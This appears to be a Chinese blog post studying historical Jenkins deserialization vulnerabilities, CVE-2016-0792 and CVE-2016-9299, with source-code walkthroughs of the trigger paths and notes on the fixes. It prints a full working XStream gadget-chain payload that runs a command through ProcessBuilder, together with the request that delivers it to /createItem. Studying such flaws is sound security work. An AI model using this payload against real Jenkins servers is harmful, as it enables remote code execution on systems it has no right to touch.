前言

Jenkins 历史漏洞学习记录,其二。


CVE-2016-0792

docker pull jenkins:1.642.4

漏洞分析

因为已经分析过 xstream 反序列化漏洞了,所以主要看看触发路径,直接用最近 CVE-2020-26217 的 payload:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>touch</string>
                          <string>/tmp/PPPPPPPPPwn</string> 
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

然后根据报错栈观察代码,createItem 的处理代码在 Jenkins 类中:

@RequirePOST
public synchronized TopLevelItem doCreateItem(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
    return this.itemGroupMixIn.createTopLevelItem(req, rsp);
}

当传递的 contents-type 为 xml 时,会进入 createProjectFromXML:

boolean isXmlSubmission = requestContentType != null && (requestContentType.startsWith("application/xml") || requestContentType.startsWith("text/xml"));
...
if (isXmlSubmission) {
    result = this.createProjectFromXML(name, req.getInputStream());
    rsp.setStatus(200);
    return result;
}

最后来到 Items 类:

public static Item load(ItemGroup parent, File dir) throws IOException {
    Item item = (Item)getConfigFile(dir).read();
    item.onLoad(parent, dir.getName());
    return item;
}

public Object read() throws IOException {
    if (LOGGER.isLoggable(Level.FINE)) {
        LOGGER.fine("Reading " + this.file);
    }

    BufferedInputStream in = new BufferedInputStream(new FileInputStream(this.file));

    Object var2;
    try {
        var2 = this.xs.fromXML(in);
    } catch (XStreamException var7) {
        throw new IOException("Unable to read " + this.file, var7);
    } catch (Error var8) {
        throw new IOException("Unable to read " + this.file, var8);
    } finally {
        in.close();
    }

    return var2;
}

由于这里的 Xstream 类没有做安全配置,导致了漏洞。

漏洞利用

修改 HTTP 头,然后将 xml POST 给 /createItem?name=test。

漏洞修复

Xsteam 修改了自身的黑名单,Jenkins 则使用了 Xstream 提供的内部安全策略白名单。

CVE-2016-9299

docker pull jenkins:2.19.2

漏洞分析

还是一个反序列化漏洞,绕过方式类同 CVE-2016-0788,同样使用的是类似 JRMP 的二次反序列化方式,同样是通过 JSON 调用某个类的 getter 函数,这里使用的是 LdapAttribute,它有一个 getAttributeSyntaxDefinition 函数:

private DirContext getBaseCtx() throws NamingException {
    if (this.baseCtx == null) {
        if (this.baseCtxEnv == null) {
            this.baseCtxEnv = new Hashtable(3);
        }

        this.baseCtxEnv.put("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");
        this.baseCtxEnv.put("java.naming.provider.url", this.baseCtxURL);
        this.baseCtx = new InitialDirContext(this.baseCtxEnv);
    }

    return this.baseCtx;
}

public DirContext getAttributeSyntaxDefinition() throws NamingException {
    DirContext var1 = this.getBaseCtx().getSchema(this.rdn);
    DirContext var2 = (DirContext)var1.lookup("AttributeDefinition/" + this.getID());
    Attribute var3 = var2.getAttributes("").get("SYNTAX");
    if (var3 != null && var3.size() != 0) {
        String var4 = (String)var3.get();
        return (DirContext)var1.lookup("SyntaxDefinition/" + var4);
    } else {
        throw new NameNotFoundException(this.getID() + "does not have a syntax associated with it");
    }
}

很明显这里可以触发 LDAP 注入,不过该版本 Jenkins 使用的 Java 版本较高,无法通过 Reference 进行 RCE。

接下来关注 getAttributeSyntaxDefinition 函数中调用的 getSchema 函数,通过调试可以发现,最后会调用 LdapBindingEnumeration 类的 createItem 函数:

protected Binding createItem(String var1, final Attributes var2, Vector<Control> var3) throws NamingException {
    Object var4 = null;
    String var5 = this.getAtom(var1);
    if (var2.get(Obj.JAVA_ATTRIBUTES[2]) != null) {
        try {
            var4 = AccessController.doPrivileged(new PrivilegedExceptionAction<Object>() {
                public Object run() throws NamingException {
                    return Obj.decodeObject(var2);
                }
            }, this.acc);
        } catch (PrivilegedActionException var11) {
            throw (NamingException)var11.getException();
        }
    }

    ...
}

可以看到,这里会调用 Obj.decodeObject 对 LDAP 服务端返回的数据进行反序列化,但是需要满足几个条件,似乎涉及到了 LDAP 协议的 asn1 之类的东西,暂时不感兴趣就不看了。

漏洞利用

详见参考文章。

漏洞修复

jndi 相关的类也被 ban 掉了。

CVE-2018-1000861

摸了,以后有兴趣了再回来看。


参考文章

Jenkins-CVE-2016-0792漏洞利用及修复建议

Jenkins-LDAP (CVE-2016-9299) 反序列化漏洞分析


Web Jenkins

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

php://filter过滤器的奇妙操作
Jenkins相关漏洞学习(一)